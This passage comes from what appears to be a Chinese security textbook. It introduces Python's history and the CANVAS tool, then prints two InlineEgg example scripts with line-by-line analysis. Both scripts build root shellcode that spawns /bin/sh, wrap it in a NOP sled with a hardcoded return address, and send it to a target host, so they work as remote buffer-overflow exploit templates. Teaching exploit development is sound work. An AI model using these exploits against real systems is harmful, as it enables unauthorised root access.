1.6 Python
Python是Guido Van Rossum于1990年创建的,其第一个官方版本发布于1991年,它以Van Rossum喜欢的电影Monty Python命名。最初,Python没有获得和Perl同样的大力支持。然而,随着时间的推移,其拥护者越来越多,并于1994年成立了comp.lang.pythonn新闻组。和GNU不一样,Python最初是完全免费发布的,并没有明显的或含蓄的许可说明。
和大多数其他脚本语言一样,Python的主要目标之一是实现快速应用系统开发。作为解释型语言,Python需要一个脚本执行的解释器。在Python发布的时候,它有两个解释器可用。下列网址提供了关于这两种解释器的详细文档,并可以免费下载。
● www.python.org
● www.activestate.com
Python脚本可以在很多操作系统上编写和执行,包括Windows平台、UNIX、Linux和Mac等。
Python是面向对象的脚本语言,它能创建和使用对象、类及其方法。Python脚本中很容易嵌入其他语言,或用其他语言来扩展,它消除了二义性。总体来说,Python是极其强大的语言,比如Information Security、Bioinformatics和Applied Mathematics等公司都采用它。Python之所以如此流行,主要是由于它的易开发的API、编码底层过程的效率、性能和套接字设计。
安全工具CANVAS是由Dave Aitel编写的,并迅速获得普及。它使用Python作为解释器和exploit脚本的脚本语法。CANVAS收集了许多exploit,可以执行这些exploit以确定“真正的安全风险”。有关CANVAS的信息和源码可以在www.immunitysec.com上找到。如果至少购买了一个用户许可,那么CANVAS就是完全开源的。
InlineEgg
InlineEgg由CORE SDI的研究人员创建,用于为其产品包开发动态的可扩展的exploit框架。它能在多种平台上为多个系统调用,创建能够快速用于Python脚本中的shellcode。显然,CORE SDI的shell实现是一项基于市场导向的技术。例1-31是摘自InlineEgg的帮助文档。它由CORE SDI工程师创建,有助于读者理解在商业级应用中Python的高效性。
例1-31 InlineEgg
1 from inlineegg.inlineegg import *
2 import socket
3 import struct
4 import sys
5
6 def stdinShellEgg():
7 # egg = InlineEgg(FreeBSDx86Syscall)
8 # egg = InlineEgg(OpenBSDx86Syscall)
9 egg = InlineEgg(Linuxx86Syscall)
10
11 egg.setuid(0)
12 egg.setgid(0)
13 egg.execve('/bin/sh',('bash','-i'))
14
15 print "Egg len: %d" % len(egg)
16 return egg
17
18 def main():
19 if len(sys.argv) < 3:
20 raise Exception, "Usage: %s <target ip> <target port>"
21
22 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
23 sock.connect((sys.argv[1], int(sys.argv[2])))
24
25 egg = stdinShellEgg()
26
27 retAddr = struct.pack('<L',0xbffffc24L)
28 toSend = "\x90"*(1024-len(egg))
29 toSend += egg.getCode()
30 toSend += retAddr*20
31
32 sock.send(toSend)
33
34 main()
分析
● 第1行,从执行脚本必需的inlineegg文件中引入inlineegg类。
● 第2行到第4行,导入需要的Python标准类。
● 第6行到第16行,创建生成egg的函数。在调用该函数的时候,第16行返回生成的egg。第7行到第9行执行从类inlineegg调用的inlineegg函数,以获取生成的egg。第11行和第12行,分别设置用户ID和群ID。第13行将execve系统调用添加到了egg中。
● 第19行和第20行通过检测传送的参数数目,来快速验证参数的使用是否正确。注意,不需要用错误认证来管理这些参数。
● 第22行和第23行,在程序执行期间,使用命令行参数传递,根据程序给出的IP地址和端口创建一个套接字,并连接到该套接字上。
● 第25行,创建一个发送到远程目标去的egg。
● 第27行到第30行,使用发送到目标系统的egg创建一个报文。第28行通知脚本除了egg之外还可以使用的填充字符,如\x90。
● 第32行,将报文写入套接字中,同时,第34行调用main函数并开始执行该程序。
经过上述示例大家已经熟悉了InlineEgg API,接下来看另一个更复杂的示例。例1-32将使用组合技术生成一个嵌入到循环条件中的shellcode。
例1-32 InlineEgg II
1 from inlineegg.inlineegg import *
2 import socket
3 import struct
4 import sys
5
6 def reuseConnectionShellEgg():
7 # egg = InlineEgg(FreeBSDx86Syscall)
8 # egg = InlineEgg(OpenBSDx86Syscall)
9 egg = InlineEgg(Linuxx86Syscall)
10
11 # s = egg.socket(2,1)
12 # egg.connect(s,('127.0.0.1',3334))
13
14 sock = egg.save(-1)
15
16 # Start Looping
17 loop = egg.Do()
18 loop.addCode(loop.micro.inc(sock))
19 lenp = loop.save(0)
20 err = loop.getpeername(sock,0,lenp.addr())
21 loop.While(err, '!=', 0)
22
23 # Dupping an Exec
24 egg.dup2(sock, 0)
25 egg.dup2(sock, 1)
26 egg.dup2(sock, 2)
27 egg.execve('/bin/sh',('bash','-i'))
28 print "Egg len: %d" % len(egg)
29 return egg
30
31 def main():
32 if len(sys.argv) < 3:
33 raise Exception, "Usage: %s <target ip> <target port>"
34
35 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
36 sock.connect((sys.argv[1], int(sys.argv[2])))
37
38 egg = reuseConnectionShellEgg()
39
40 retAddr = struct.pack('<L',0xbffffc24L)
41 toSend = "\x90"*(1024-len(egg))
42 toSend += egg.getCode()
43 toSend += retAddr*20
44
45 sock.send(toSend)
46
47 main()
分析
● 第1行,从执行脚本必需的inlineegg文件中引入inlineegg类。
● 第2到第4行,引入需要的Python标准类。
● 第7到第9行,执行从inlineegg类调用的inlineegg函数,以获取生成的egg。
● 第11行和第12行,只在以测试为目的的本地系统中才能起作用。如果没有标注,它将把脚本连接到端口3334的回送地址上。
● 第14行,在已经初始化为0的栈上创建了一个变量,这在扫描正确的套接字的时候是很容易使用的。
● 第17行到第21行,创建一个循环结构用以查找套接字(第17行)。一旦找到该套接字就向其添加合适的代码(第18行),初始化正确的错误代码(第20行),最后实现完整的循环(第21行)。
● 第24到第29行,使用inlineegg类指定在egg中加入哪个系统调用。第28行用于输出egg到STDOUT上,然后,返回该egg给main函数(第29行)。
● 第31行到第33行,通过检测传送的参数数目,来快速验证参数的使用是否正确。注意,不需要用错误认证来管理这些参数。
● 第35和第36行,在程序执行期间,使用命令行参数传递,根据程序给出的IP地址和端口创建一个套接字,并连接到该套接字上。
● 第38行,创建一个发送到远程目标去的egg。
● 第41行到第43行,使用发送到目标系统的egg创建了一个报文。第41行通知脚本除了egg之外还可以使用的填充字符,如\x90。
● 第45行,将报文写入套接字中,同时,第34行调用main函数并开始执行该程序。
要了解关于上述两个脚本中所使用的所有syscalls的详细信息,可参见第7章“可移植的网络编码”和第8章“编写shellcodeⅠ”。






